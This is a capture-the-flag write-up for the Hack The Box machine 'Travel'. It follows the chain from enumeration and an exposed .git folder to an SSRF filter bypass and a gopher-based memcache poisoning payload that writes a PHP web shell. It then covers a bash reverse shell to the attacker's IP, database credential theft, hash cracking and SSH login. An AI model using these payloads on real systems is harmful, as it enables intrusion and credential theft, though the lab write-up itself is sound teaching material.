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jebidiah-anthony

write-ups and what not

HTB Travel (10.10.10.189)

PART 1 : INITIAL ENUMERATION

1.1 nmap

$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -v 10.10.10.189

  PORT    STATE SERVICE
  22/tcp  open  ssh
  80/tcp  open  http
  443/tcp open  https
  
$ nmap -oN nmap-tcp -p 22,80,443 -sC -sV -v 10.10.10.189

  PORT    STATE SERVICE  VERSION
  22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 d3:9f:31:95:7e:5e:11:45:a2:b4:b6:34:c0:2d:2d:bc (RSA)
  |   256 ef:3f:44:21:46:8d:eb:6c:39:9c:78:4f:50:b3:f3:6b (ECDSA)
  |_  256 3a:01:bc:f8:57:f5:27:a1:68:1d:6a:3d:4e:bc:21:1b (ED25519)
  80/tcp  open  http     nginx 1.17.6
  | http-methods: 
  |_  Supported Methods: GET HEAD
  |_http-server-header: nginx/1.17.6
  |_http-title: Travel.HTB
  443/tcp open  ssl/http nginx 1.17.6
  | http-methods: 
  |_  Supported Methods: GET HEAD
  |_http-server-header: nginx/1.17.6
  |_http-title: Travel.HTB - SSL coming soon.
  | ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
  | Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
  | Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
  | Public Key type: rsa
  | Public Key bits: 2048
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2020-04-23T19:24:29
  | Not valid after:  2030-04-21T19:24:29
  | MD5:   ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
  |_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Various subdomains were found – www.travel.htb, blog.travel.htb, blog-dev.travel.htb.
  • UDP scan using nmap, doesn’t yield any result.

PART 2 : PORT ENUMERATION

2.1 TCP PORT 80 : HTTP

2.1.1 http[://]travel.htb

80_travel

2.1.2 http[://]blog.travel.htb

80_blog This subdomain is hosting a WordPress application. Using wpscan to enumerate the service:

$ wpscan --update

$ wpscan --output 80_wpscan_blog.txt --url http://blog.travel.htb

  [+] Headers
   | Interesting Entries:
   |  - Server: nginx/1.17.6
   |  - X-Powered-By: PHP/7.3.16
   | Found By: Headers (Passive Detection)
   | Confidence: 100%

  [+] robots.txt found: http://blog.travel.htb/robots.txt
   | Interesting Entries:
   |  - /wp-admin/
   |  - /wp-admin/admin-ajax.php
   | Found By: Robots Txt (Aggressive Detection)
   | Confidence: 100%

  [+] XML-RPC seems to be enabled: http://blog.travel.htb/xmlrpc.php
   | Found By: Direct Access (Aggressive Detection)
   | Confidence: 100%
   | References:
   |  - http://codex.wordpress.org/XML-RPC_Pingback_API
   |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
   |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
   |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
   |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

  [+] WordPress readme found: http://blog.travel.htb/readme.html
   | Found By: Direct Access (Aggressive Detection)
   | Confidence: 100%

  [+] The external WP-Cron seems to be enabled: http://blog.travel.htb/wp-cron.php
   | Found By: Direct Access (Aggressive Detection)
   | Confidence: 60%
   | References:
   |  - https://www.iplocation.net/defend-wordpress-from-ddos
   |  - https://github.com/wpscanteam/wpscan/issues/1299

  [+] WordPress version 5.4 identified (Insecure, released on 2020-03-31).
   | Found By: Rss Generator (Passive Detection)
   |  - http://blog.travel.htb/feed/, <generator>https://wordpress.org/?v=5.4</generator>
   |  - http://blog.travel.htb/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>

  [+] WordPress theme in use: twentytwenty
   | Location: http://blog.travel.htb/wp-content/themes/twentytwenty/
   | Last Updated: 2021-03-09T00:00:00.000Z
   | Readme: http://blog.travel.htb/wp-content/themes/twentytwenty/readme.txt
   | [!] The version is out of date, the latest version is 1.7
   | Style URL: http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2
   | Style Name: Twenty Twenty
   | Style URI: https://wordpress.org/themes/twentytwenty/
   | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
   | Author: the WordPress team
   | Author URI: https://wordpress.org/
   |
   | Found By: Css Style In Homepage (Passive Detection)
   | Confirmed By: Css Style In 404 Page (Passive Detection)
   |
   | Version: 1.2 (80% confidence)
   | Found By: Style (Passive Detection)
   |  - http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'

  [i] No plugins Found.
  [i] No Config Backups Found.

2.1.3 http[://]blog-dev.travel.htb

80_blog-dev

The landing page returns forbidden and doing more enumeration using nmap returns:

$ sudo nmap -p 80 --script safe,vuln -Pn blog-dev.travel.htb
  
  PORT   STATE SERVICE
  80/tcp open  http
  [...omitted...]
  | http-enum: 
  |_  /.git/HEAD: Git folder
  |_http-fetch: Please enter the complete path of the directory to save data in.
  | http-git: 
  |   10.10.10.189:80/.git/
  |     Git repository found!
  |     Repository description: Unnamed repository; edit this file 'description' to name the...
  |_    Last commit message: moved to git 
  | http-headers: 
  |   Server: nginx/1.17.6
  [...omitted...]
  |   
  |_  (Request type: GET)
  [...omitted...]

A /.git directory was found but navigating to it also returns a 403 Response (Forbidden). Attempting to use gobuster to see if responses other than 403 could be seen:

$ gobuster dir -o 80_gobuster_blog-dev_git.txt --timeout 5s -u http://blog-dev.travel.htb/.git -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

  /index                (Status: 200) [Size: 297]
  /info                 (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/info/]
  /config               (Status: 200) [Size: 92]                                             
  /logs                 (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/logs/]
  /objects              (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/objects/]
  /description          (Status: 200) [Size: 73]                                                
  /branches             (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/branches/]
  [...omitted...]

Since only the root seems to be unreadable, maybe we could extract the git files using git-dumper.py

$ mkdir 80_git_blog-dev

$ ./git-dumper/git_dumper.py http://blog-dev.travel.htb ./80_git_blog-dev

  [-] Testing http://blog-dev.travel.htb/.git/HEAD [200]
  [-] Testing http://blog-dev.travel.htb/.git/ [403]
  [-] Fetching common files
  [...omitted...]
  
$ ls -a ./80_git_blog-dev

  .git  README.md  rss_template.php  template.php
  
$ ls -a ./80_git_blog-dev/.git

  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs

$ cat ./80_git_blog-dev/.git/logs/HEAD 

  0000000000000000000000000000000000000000 0313850ae948d71767aff2cc8cc0f87a0feeef63 jane <jane@travel.htb> 1587458094 -0700	commit (initial): moved to git

$ cat ./80_git_blog-dev/README.md

  # Rss Template Extension

  Allows rss-feeds to be shown on a custom wordpress page.

  ## Setup

  * `git clone https://github.com/WordPress/WordPress.git`
  * copy rss_template.php & template.php to `wp-content/themes/twentytwenty` 
  * create logs directory in `wp-content/themes/twentytwenty` 
  * create page in backend and choose rss_template.php as theme

  ## Changelog

  - temporarily disabled cache compression
  - added additional security checks 
  - added caching
  - added rss template

  ## ToDo

  - finish logging implementation

The contents of the .git folder seems to pertain to the deployment of and RSS feed for other services. A user, jane (jane@travel.htb), was also found to have been responsible for the creation of the repository. And based on the output of wpscan from http[://]blog.travel.htb, the RSS service may have been deployed to it as well.

2.2 TCP PORT 443 : HTTPS

443_travel

All subdomains, when accessed via HTTPS, returns an under construction page with the following message:

We are currently sorting out how to get SSL 
implemented with multiple domains properly. Also we 
are experiencing severe performance problems on SSL 
still.

In the meantime please use our non-SSL websites.

Thanks for your understanding,
admin

PART 3 : EXPLOITATION

3.1 The RSS Feed

3.1.1 RSS in blog.travel.htb:

Looking back at the output of wpscan:

[+] WordPress version 5.4 identified (Insecure, released on 2020-03-31).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.travel.htb/feed/, <generator>https://wordpress.org/?v=5.4</generator>
 |  - http://blog.travel.htb/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>

As well as the landing page of http[://]blog.travel.htb, there is a link to Awesome RSS in the navigation bar:

80_blog_rss

This brings you to http[://]blog.travel.htb/awesome-rss:

80_blog_awesome-rss

3.1.3 Review of rss_template.php:

This was extracted from the contents of http[://]blog-dev.travel.htb/.git/

<?php
	/*
	Template Name: Awesome RSS
	*/
	include('template.php');
	get_header();
?>
[...omitted...]
<?php
	function get_feed($url){
    	require_once ABSPATH . '/wp-includes/class-simplepie.php';	    
    	$simplepie = null;	  
     	$data = url_get_contents($url);
     	if ($url) {
         	$simplepie = new SimplePie();
         	$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
         	//$simplepie->set_raw_data($data);
         	$simplepie->set_feed_url($url);
         	$simplepie->init();
         	$simplepie->handle_content_type();
         	if ($simplepie->error) {
            	error_log($simplepie->error);
             	$simplepie = null;
             	$failed = True;
         	}
     	} else {
         	$failed = True;
     	}
     	return $simplepie;
	}

 	$url = $_SERVER['QUERY_STRING'];
	if(strpos($url, "custom_feed_url") !== false){
		$tmp = (explode("=", $url)); 	
		$url = end($tmp); 	
 	} else {
 	 	$url = "http://www.travel.htb/newsfeed/customfeed.xml";
 	}
 	$feed = get_feed($url); 
    if ($feed->error()) {
		echo '<div class="sp_errors">' . "\r\n";
		echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
		echo '</div>' . "\r\n";
	}
	else {
?>
[...omitted...]
<!--
DEBUG
<?php
if (isset($_GET['debug'])){
  include('debug.php');
}
?>
-->
[...omitted...]

There us a function get_feed($url) that is using SimplePie for the RSS and memcache for caching data. The argument that will be fed to the function is probably passed through GET parameters (custom_feed_url) in http[://]blog.travel.htb/awesome-rss and if none are supplied, will default to http://www.travel.htb/newsfeed/customfeed.xml:

80_www_customfeed

Which has the same contents listed in http[://]blog.travel.htb/awesome-rss only in XML format.

Aside from the get_feed($url) function there seems to be a debug page as well – debug.php which could be requested by adding a GET parameter, ?debug. It will still request the usual page but will include debug statements enclosed in HTML comments:

$ curl -G -d "debug" http://blog.travel.htb/awesome-rss/

  [...omitted...]
  <!--
  DEBUG
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  -->
  [...omitted...]

3.2 Checking for RFI in get_feed()

  1. Create a customfeed.xml file based on http://www.travel.htb/newsfeed/customfeed.xml:

    <rss version="2.0">
	<channel>
		<item>
			<title>
				Jebidiah was here
			</title>
			<link>http://10.10.14.6/something</link>
			<guid>http://10.10.14.6/something</guid>
			<pubDate>Mon, 30 Sep 2019 08:20:05 -0500</pubDate>
			<description>
				This is a test.
			</description>
		</item>
	</channel>
</rss>

  2. Start a Python HTTP Server:

    $ sudo python -m SimpleHTTPServer 80

  3. Requesting /awesome-rss/ with a custom_feed_url and debug parameter:

    $ curl -G -d "debug=1&custom_feed_url=http://10.10.14.6/customfeed.xml" http://blog.travel.htb/awesome-rss/
   
  [...omitted...]
  <!--
  DEBUG
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  | xct_54bddbaec1(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  -->
  [...omitted...]

  4. Looking back at started HTTP server:

    10.10.10.189 - - [xx/xxx/xxxx xx:xx:xx] "GET /customfeed.xml HTTP/1.1" 200 -
10.10.10.189 - - [xx/xxx/xxxx xx:xx:xx] "GET /customfeed.xml HTTP/1.1" 200 -

The request to the local HTTP Server went through and it seems like a PHP serialized object was logged into memcache as indicated by the xct_ prefix.

3.3 Interaction with memcache

3.3.1 How data is saved to memcache

Based on the class-simplepie.php which is included in rss_template.php extracted from the WordPress Github Page:

[...omitted...]
if ($this->feed_url !== null)
{
	$parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));

	// Decide whether to enable caching
	if ($this->cache && $parsed_feed_url['scheme'] !== '')
	{
		$url = $this->feed_url . ($this->force_feed ? '#force_feed' : '');
		$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc'));
	}

	// Fetch the data via SimplePie_File into $this->raw_data
	if (($fetched = $this->fetch_data($cache)) === true)
	{
		return true;
	}
	elseif ($fetched === false) {
		return false;
	}

	list($headers, $sniffed) = $fetched;
}
[...omitted...]
public $cache_name_function = 'md5';
[...omitted...]
public function set_cache_name_function($function = 'md5')
{
	if (is_callable($function))
	{
		$this->cache_name_function = $function;
	}
}
[...omitted...]

When the feed_url parameter is not null, a call() function from the registry property will be made to a get_handler() function in Cache.php and in this case the value of $this->cache_location has been set to memcache://127.0.0.1:11211/?timeout=60&prefix=xct_ and $url will be hashed using MD5 based on call_user_func($this->cache_name_function, $url):

[...omitted...]
protected static $handlers = array(
	'mysql'     => 'SimplePie_Cache_MySQL',
	'memcache'  => 'SimplePie_Cache_Memcache',
	'memcached' => 'SimplePie_Cache_Memcached',
	'redis'     => 'SimplePie_Cache_Redis'
);
[...omitted...]
public static function get_handler($location, $filename, $extension)
{
	$type = explode(':', $location, 2);
	$type = $type[0];
	if (!empty(self::$handlers[$type]))
	{
		$class = self::$handlers[$type];
		return new $class($location, $filename, $extension);
	}

    return new SimplePie_Cache_File($location, $filename, $extension);
}
[...omitted...]

What will happen is that the substring, memcache, will be extracted from the passed location (memcache://127.0.0.1...) which will return SimplePie_Cache_Memcache based on the array of handlers defined. After which a newly initialized class of the same name will be returned.

public function __construct($location, $name, $type)
{
	$this->options = array(
		'host' => '127.0.0.1',
		'port' => 11211,
		'extras' => array(
			'timeout' => 3600, // one hour
			'prefix' => 'simplepie_',
		),
	);
	$this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

	$this->name = $this->options['extras']['prefix'] . md5("$name:$type");

	$this->cache = new Memcache();
	$this->cache->addServer($this->options['host'], (int) $this->options['port']);
}

The constructor function taken from the SimplePie_Cache_Memcache class definition Memcache.php takes the same parameters from the ones passed to get_handler() from Cache.php. The values from $this->options will be changed since some values were set in the $location variable (?timeout=60&prefix=xct_) so in this case, the prefix that will be used is xct_ instead of simplepie. Afterwhich, the value of $name will be appended to the prefix.

public function save($data)
{
	if ($data instanceof SimplePie)
	{
		$data = $data->data;
	}
	return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
}

The data provided (contents of $url) will then be serialized and saved into the cache.

To summarize specific to this scenario:

  1. The caching begins by taking three parameters that will be passed to the get_handler() function in Cache.php – memcache://127.0.0.1:11211/?timeout=60&prefix=xct_, fe1fb813519a90aa175e3f3d721a07ca (MD5 value of http://10.10.14.6/customfeed.xml), and spc
  2. The get_handler() function will then determine what method of caching is needed based on the first parameter given; in this case, memcache so the class definition of SimplePie_Cache_Memcache will be used. The name of the data that will be written in the cache will follow the format –xct_ plus the value of md5("fe1fb813519a90aa175e3f3d721a07ca:spc")
  3. A serialized version of the data will then be saved in to the cached catalogued with the prefix plus the newly generated md5.

3.3.2 Review of debug.php

The output for debug.php last time when http://10.10.14.6/customfeed.xml was requested was:

   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  | xct_54bddbaec1(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Following the process explained earlier, the marker generated (xct_54bddbaec1(...)) should be the same as md5(md5("http://10.10.14.6/customfeed.xml").":spc"); which is actually the case – 54bddbaec1543acec82c7141efde0625

3.4 Input Sanitation with template.php

3.4.1 Review of template.php

This file was also extracted from the contents of http[://]blog-dev.travel.htb/.git/ and it seems to be responsible for validating user input supplied in the url parameter when requesting /awesome-rss/:

<?php

/**
 Todo: finish logging implementation via TemplateHelper
*/

function safe($url)
{
	// this should be secure
	$tmpUrl = urldecode($url);
	if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
	{		
		die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
	}
	if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
	{		
		die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
	}
	$tmp = parse_url($url, PHP_URL_HOST);
	// preventing all localhost access
	if($tmp == "localhost" or $tmp == "127.0.0.1")
	{		
		die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");		
	}
	return $url;
}

function url_get_contents ($url) {
    $url = safe($url);
	$url = escapeshellarg($url);
	$pl = "curl ".$url;
	$output = shell_exec($pl);
    return $output;
}

The safe($url) defined prevents Local File Inclusion (LFI) using file:// and Server-Side Request Forgery (SSRF) by filtering requests made via localhost. Meanwhile, even though there is a shell_exec() function in url_get_contents(), Command Injection is avoided by first passing through the safe() function to avoid polluting the curl command and then passing the url parameter through escapeshellarg() to avoid injection using /$(<command>) or appending new commands after a semi-colon (;<command>) to name a few examples.

class TemplateHelper
{

    private $file;
    private $data;

    public function __construct(string $file, string $data)
    {
    	$this->init($file, $data);
    }

    public function __wakeup()
    {
    	$this->init($this->file, $this->data);
    }

    private function init(string $file, string $data)
    {    	
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
    }
}

Also inside template.php is a defined class, TemplateHelper. There are two initialized object properties defined in the class, file and data, based on the class constructor. The __wakeup() function is executed during deserialization. In this case, the defined function, init() will be executed when __wakeup() is triggered. init() will write to __DIR__.'/logs' with the filename defined in $file and contents defined in $data.

3.4.2 The location of __DIR__.’/logs’

Earlier when the contents of http[://]blog-dev.travel.htb/.git were extracted, the README.md file stated that rss_template.php and template.php were saved to wp-content/themes/twentytwenty:

  ## Setup

  * `git clone https://github.com/WordPress/WordPress.git`
  * copy rss_template.php & template.php to `wp-content/themes/twentytwenty` 
  * create logs directory in `wp-content/themes/twentytwenty` 
  * create page in backend and choose rss_template.php as theme

Proving that ./logs is in the same directory:

$ curl -I http://blog.travel.htb/wp-content/themes/twentytwenty/logs/

  HTTP/1.1 403 Forbidden
  Server: nginx/1.17.6
  Date: Sun, 04 Apr 2021 16:13:30 GMT
  Content-Type: text/html; charset=iso-8859-1
  Connection: keep-alive

3.5 Exploiting the RSS Feed via SSRF

The memcache service is running via localhost and based on template.php, the sanitation of user input is limited to blacklisting “localhost” and “127.0.0.1” which could easily be bypassed:

3.5.1 Leverage the TemplateHelper class

Serialized objects are passed through memcache so we will use the TemplateHelper to write a file into the server.

<?php
class TemplateHelper
{

    public $file;
    public $data;

    public function __construct(string $file, string $data)
    {
    	$this->init($file, $data);
    }

    public function __wakeup()
    {
    	$this->init($this->file, $this->data);
    }

    private function init(string $file, string $data)
    {    	
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
    }
}

$afw = new TemplateHelper("jebidiah.php", '<?php echo shell_exec($_GET["cmd"]); ?>');

echo serialize($afw);
?>

The initialized variables, $file and $data, were changed from being defined as private to public since the serialized data will be interpreted from outside the definition of the TemplateHelper class.

$ php serialize.php

  [...omitted...]
  O:14:"TemplateHelper":2:{s:4:"file";s:12:"jebidiah.php";s:4:"data";s:39:"<?php echo shell_exec($_GET["cmd"]); ?>";}

3.5.2 Using Gopherus to Generate Payload:

This is a tool that helps to abuse SSRF vulnerabilities and achieve Remote Code Execution (RCE).

$ gopherus --exploit phpmemcache

  Give serialization payload
  example: O:5:"Hello":0:{}   : O:14:"TemplateHelper":2:{s:20:"TemplateHelperfile";s:12:"jebidiah.php";s:20:"TemplateHelperdata";s:39:"<?php echo shell_exec($_GET["cmd"]); ?>";}

  Your gopher link is ready to do SSRF :
  
  gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a

3.5.3 Bypassing the security check in template.php

if($tmp == "localhost" or $tmp == "127.0.0.1")
{		
	die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");	
}

The only checks are only if the URL is requested via “localhost” and “127.0.0.1”. This could easily bypassed by using 2130706433 (decimal value for 127.0.0.1), using 0.0.0.0, or using 0. The payload will be changed to:

gopher://0.0.0.0:11211/_%0d%0aset%20SpyD3r%204%200%20145%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22TemplateHelperfile%22%3Bs:12:%22jebidiah.php%22%3Bs:20:%22TemplateHelperdata%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a

3.5.4 Writing the gopher payload to cache

$ curl -G -d "custom_feed_url=gopher://0.0.0.0:11211/_%0d%0aset%20SpyD3r%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a" http://blog.travel.htb/awesome-rss/

$ curl -G -d "debug=1" http://blog.travel.htb/awesome-rss/
  [...omitted...]
  <!--
  DEBUG
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  | SpyD3r | O:14:"TemplateHelper":2:{s:20:"Tem(...) |
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  -->
  [...omitted...]

The serialized payload from earlier was successfully written to the cache.

3.5.5 How data is loaded from the cache

Based on Memcache.php

public function load()
{
	$data = $this->cache->get($this->name);

    if ($data !== false)
	{
		return unserialize($data);
	}
	return false;
}

A check for a valid name(xct_<md5>) is performed so it might be necessary for the data to be deserialized. The earlier execution was written as SpyD3r (Gopherus default) payload will be changed to:

gopher://0.0.0.0:11211/_%0d%0aset%20xct_54bddbaec1543acec82c7141efde0625%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a

3.5.6 Deserializing the right way

$ curl -G -d "custom_feed_url=gopher://0.0.0.0:11211/_%0d%0aset%20xct_54bddbaec1543acec82c7141efde0625%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a" --silent http://blog.travel.htb/awesome-rss/ >/dev/null

$ curl -G -d "debug=1" http://blog.travel.htb/awesome-rss/
  [...omitted...]
  <!--
  DEBUG
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  | xct_54bddbaec1(...) | O:14:"TemplateHelper":2:{s:20:"Tem(...) |
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  -->
  [...omitted...]
  
$ curl -G -d "debug=1&custom_feed_url=http://10.10.14.6/customfeed.xml" --silent http://blog.travel.htb/awesome-rss/ | grep xct

The last curl command was added to trigger the cached request to xct_54bddbaec1543acec82c7141efde0625 but this time, the serialized content was from the gopherus payload.

3.5.7 The Uploaded Webshell

Checking if the webshell was uploaded into the server:

$ curl -I http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php

  HTTP/1.1 200 OK
  Server: nginx/1.17.6
  Date: Sun, 04 Apr 2021 17:11:09 GMT
  Content-Type: text/html; charset=UTF-8
  Connection: keep-alive
  X-Powered-By: PHP/7.3.16

Commands could now be executed in the server:

$ curl -G -d "cmd=id" http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php

  uid=33(www-data) gid=33(www-data) groups=33(www-data)

PART 4 : PIVOT TO ANOTHER USER (www-data -> lynik-admin)

Setup a netcat listener for the reverse shell:

$ sudo nc -lvp 443

Execute the reverse shell using the uploaded webshell:

$ curl -G --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php

4.1 Machine Enumeration

4.1.1 Host Information

www-data@blog:/var/www/html$ hostname

  blog

www-data@blog:/var/www/html$ cat /etc/passwd | grep -E "sh$"

  root:x:0:0:root:/root:/bin/bash
  
www-data@blog:/var/www/html$ ls -la / | grep docker

  -rwxr-xr-x   1 root root    0 Apr 23  2020 .dockerenv

No other users are in the system and upon further checking, it seems like the current shell is inside a docker container.

4.1.2 Database Information

www-data@blog:/var/www/html$ cat wp-config.php

  // ** MySQL settings - You can get this info from your web host ** //
  /** The name of the database for WordPress */
  define( 'DB_NAME', 'wp' );

  /** MySQL database username */
  define( 'DB_USER', 'wp' );

  /** MySQL database password */
  define( 'DB_PASSWORD', 'fiFtDDV9LYe8Ti' );

  /** MySQL hostname */
  define( 'DB_HOST', '127.0.0.1' );

  /** Database Charset to use in creating database tables. */
  define( 'DB_CHARSET', 'utf8mb4' );

  /** The Database Collate type. Don't change this if in doubt. */
  define( 'DB_COLLATE', '' );
  
www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "SHOW DATABASES;"

  Database
  information_schema
  mysql
  performance_schema
  wp

www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "USE wp; SHOW TABLES;"
  
  Tables_in_wp
  [...omitted...]
  wp_users

www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "SELECT user_login,user_pass,user_nicename,user_email,display_name FROM wp.wp_users;"

user_login | user_pass | user_nicename | user_email | display_name — | — | — | — | — admin | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin | admin@travel.htb | admin

There are still no username aside from admin listed in the database.

4.1.3 Search for a Valid User

www-data@blog:/$ find /opt -readable -uid 0 -type f 2>/dev/null

  /opt/wordpress/backup-13-04-2020.sql
  
www-data@blog:/$ strings /opt/wordpress/backup-13-04-2020.sql

  INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');

It seems like from the SQL backup file, there were initially two users in the wp_users table:

user_login user_pass user_nicename user_email display_name
admin $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ admin admin@travel.htb admin
lynik-admin $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc. lynik-admin lynik@travel.htb Lynik Schmidt

4.2 Cracking the Hashes

$ hashcat --force -m 400 hashes /usr/share/wordlists/rockyou.txt

  $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.:1stepcloser

4.3 Login via SSH as lynik-admin

$ ssh -l lynik-admin 10.10.10.189

lynik-admin@10.10.10.189's password: 1stepcloser

lynik-admin@travel:~$ cat user.txt

  829b1a348e8c6ed74b876c305c470492

PART 5 : PIVOT TO ANOTHER USER (lynik-admin -> brian)

5.1 Machine Enumeration

5.1.1 Host information

lynik-admin@travel:~$ cat /etc/passwd | grep -E "sh$"

  root:x:0:0:root:/root:/bin/bash
  trvl-admin:x:1000:1000:trvl-admin:/home/trvl-admin:/bin/bash
  lynik-admin:x:1001:1001::/home/lynik-admin:/bin/bash
  
lynik-admin@travel:~$ cat /etc/ssh/sshd_config

  [...omitted...]
  AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
  AuthorizedKeysCommandUser nobody
  [...omitted...]

There is an AuthorizedKeysCommand in the sshd_config file. /usr/bin/sss_ssh_authorizedkeys will be responsible to supply public keys that will be used for authentication. This helps with not having public keys locally stored into the server.

5.1.2 User Directory Enumeration

lynik-admin@travel:~$ id

  uid=1001(lynik-admin) gid=1001(lynik-admin) groups=1001(lynik-admin)
  
lynik-admin@travel:~$ ls -la

  [...omitted...]
  -rw-r--r-- 1 lynik-admin lynik-admin   82 Apr 23  2020 .ldaprc
  [...omitted...]
  -rw------- 1 lynik-admin lynik-admin  861 Apr 23  2020 .viminfo

lynik-admin@travel:~$ cat .ldaprc
 
  HOST ldap.travel.htb
  BASE dc=travel,dc=htb
  BINDDN cn=lynik-admin,dc=travel,dc=htb
  
